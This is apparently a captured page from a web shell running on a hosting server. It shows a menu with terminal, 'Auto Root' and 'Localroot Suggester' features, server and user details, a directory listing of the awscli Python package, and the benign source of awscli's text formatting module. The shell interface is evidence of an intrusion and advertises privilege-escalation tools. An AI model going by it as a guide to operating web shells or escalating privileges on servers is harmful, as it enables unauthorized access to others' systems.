Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.217.14
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python2.7 /
site-packages /
awscli /
Delete
Unzip
Name
Size
Permission
Date
Action
customizations
[ DIR ]
drwxr-xr-x
2017-04-04 16:40
data
[ DIR ]
drwxr-xr-x
2017-04-04 16:40
examples
[ DIR ]
drwxr-xr-x
2017-04-04 16:40
topics
[ DIR ]
drwxr-xr-x
2017-04-04 16:40
__init__.py
1.43
KB
-rw-r--r--
2017-04-04 16:39
__init__.pyc
1.06
KB
-rw-r--r--
2017-04-04 16:40
__main__.py
662
B
-rw-r--r--
2017-04-04 16:39
__main__.pyc
287
B
-rw-r--r--
2017-04-04 16:40
alias.py
10.88
KB
-rw-r--r--
2017-04-04 16:39
alias.pyc
9.86
KB
-rw-r--r--
2017-04-04 16:40
argparser.py
7.09
KB
-rw-r--r--
2017-04-04 16:39
argparser.pyc
6.93
KB
-rw-r--r--
2017-04-04 16:40
argprocess.py
20.97
KB
-rw-r--r--
2017-04-04 16:39
argprocess.pyc
17.79
KB
-rw-r--r--
2017-04-04 16:40
arguments.py
18.38
KB
-rw-r--r--
2017-04-04 16:39
arguments.pyc
18.58
KB
-rw-r--r--
2017-04-04 16:40
clidocs.py
27.96
KB
-rw-r--r--
2017-04-04 16:39
clidocs.pyc
25.03
KB
-rw-r--r--
2017-04-04 16:40
clidriver.py
24.86
KB
-rw-r--r--
2017-04-04 16:39
clidriver.pyc
21.42
KB
-rw-r--r--
2017-04-04 16:40
commands.py
2.06
KB
-rw-r--r--
2017-04-04 16:39
commands.pyc
2.07
KB
-rw-r--r--
2017-04-04 16:40
compat.py
5.54
KB
-rw-r--r--
2017-04-04 16:39
compat.pyc
5.03
KB
-rw-r--r--
2017-04-04 16:40
completer.py
5.74
KB
-rw-r--r--
2017-04-04 16:39
completer.pyc
4.66
KB
-rw-r--r--
2017-04-04 16:40
errorhandler.py
2.96
KB
-rw-r--r--
2017-04-04 16:39
errorhandler.pyc
2.93
KB
-rw-r--r--
2017-04-04 16:40
formatter.py
10.86
KB
-rw-r--r--
2017-04-04 16:39
formatter.pyc
8.43
KB
-rw-r--r--
2017-04-04 16:40
handlers.py
7.81
KB
-rw-r--r--
2017-04-04 16:39
handlers.pyc
6.48
KB
-rw-r--r--
2017-04-04 16:40
help.py
13.29
KB
-rw-r--r--
2017-04-04 16:39
help.pyc
15.16
KB
-rw-r--r--
2017-04-04 16:40
paramfile.py
5.16
KB
-rw-r--r--
2017-04-04 16:39
paramfile.pyc
4.76
KB
-rw-r--r--
2017-04-04 16:40
plugin.py
2.21
KB
-rw-r--r--
2017-04-04 16:39
plugin.pyc
1.98
KB
-rw-r--r--
2017-04-04 16:40
schema.py
6.25
KB
-rw-r--r--
2017-04-04 16:39
schema.pyc
6.04
KB
-rw-r--r--
2017-04-04 16:40
shorthand.py
14.33
KB
-rw-r--r--
2017-04-04 16:39
shorthand.pyc
13.6
KB
-rw-r--r--
2017-04-04 16:40
table.py
15.06
KB
-rw-r--r--
2017-04-04 16:39
table.pyc
14.38
KB
-rw-r--r--
2017-04-04 16:40
testutils.py
30.29
KB
-rw-r--r--
2017-04-04 16:39
testutils.pyc
32.55
KB
-rw-r--r--
2017-04-04 16:40
text.py
4.18
KB
-rw-r--r--
2017-04-04 16:39
text.pyc
3.62
KB
-rw-r--r--
2017-04-04 16:40
topictags.py
12.35
KB
-rw-r--r--
2017-04-04 16:39
topictags.pyc
10.63
KB
-rw-r--r--
2017-04-04 16:40
utils.py
4.88
KB
-rw-r--r--
2017-04-04 16:39
utils.pyc
4.36
KB
-rw-r--r--
2017-04-04 16:40
Save
Rename
# Copyright 2012-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # http://aws.amazon.com/apache2.0/ # or in the "license" file accompanying this file. This file is # distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF # ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. from awscli.compat import six def format_text(data, stream): _format_text(data, stream) def _format_text(item, stream, identifier=None, scalar_keys=None): if isinstance(item, dict): _format_dict(scalar_keys, item, identifier, stream) elif isinstance(item, list): _format_list(item, identifier, stream) else: # If it's not a list or a dict, we just write the scalar # value out directly. stream.write(six.text_type(item)) stream.write('\n') def _format_list(item, identifier, stream): if not item: return if any(isinstance(el, dict) for el in item): all_keys = _all_scalar_keys(item) for element in item: _format_text(element, stream=stream, identifier=identifier, scalar_keys=all_keys) elif any(isinstance(el, list) for el in item): scalar_elements, non_scalars = _partition_list(item) if scalar_elements: _format_scalar_list(scalar_elements, identifier, stream) for non_scalar in non_scalars: _format_text(non_scalar, stream=stream, identifier=identifier) else: _format_scalar_list(item, identifier, stream) def _partition_list(item): scalars = [] non_scalars = [] for element in item: if isinstance(element, (list, dict)): non_scalars.append(element) else: scalars.append(element) return scalars, non_scalars def _format_scalar_list(elements, identifier, stream): if identifier is not None: for item in elements: stream.write('%s\t%s\n' % (identifier.upper(), item)) else: # For a bare list, just print the contents. stream.write('\t'.join([six.text_type(item) for item in elements])) stream.write('\n') def _format_dict(scalar_keys, item, identifier, stream): scalars, non_scalars = _partition_dict(item, scalar_keys=scalar_keys) if scalars: if identifier is not None: scalars.insert(0, identifier.upper()) stream.write('\t'.join(scalars)) stream.write('\n') for new_identifier, non_scalar in non_scalars: _format_text(item=non_scalar, stream=stream, identifier=new_identifier) def _all_scalar_keys(list_of_dicts): keys_seen = set() for item_dict in list_of_dicts: for key, value in item_dict.items(): if not isinstance(value, (dict, list)): keys_seen.add(key) return list(sorted(keys_seen)) def _partition_dict(item_dict, scalar_keys): # Given a dictionary, partition it into two list based on the # values associated with the keys. # {'foo': 'scalar', 'bar': 'scalar', 'baz': ['not, 'scalar']} # scalar = [('foo', 'scalar'), ('bar', 'scalar')] # non_scalar = [('baz', ['not', 'scalar'])] scalar = [] non_scalar = [] if scalar_keys is None: # scalar_keys can have more than just the keys in the item_dict, # but if user does not provide scalar_keys, we'll grab the keys # from the current item_dict for key, value in sorted(item_dict.items()): if isinstance(value, (dict, list)): non_scalar.append((key, value)) else: scalar.append(six.text_type(value)) else: for key in scalar_keys: scalar.append(six.text_type(item_dict.get(key, ''))) remaining_keys = sorted(set(item_dict.keys()) - set(scalar_keys)) for remaining_key in remaining_keys: non_scalar.append((remaining_key, item_dict[remaining_key])) return scalar, non_scalar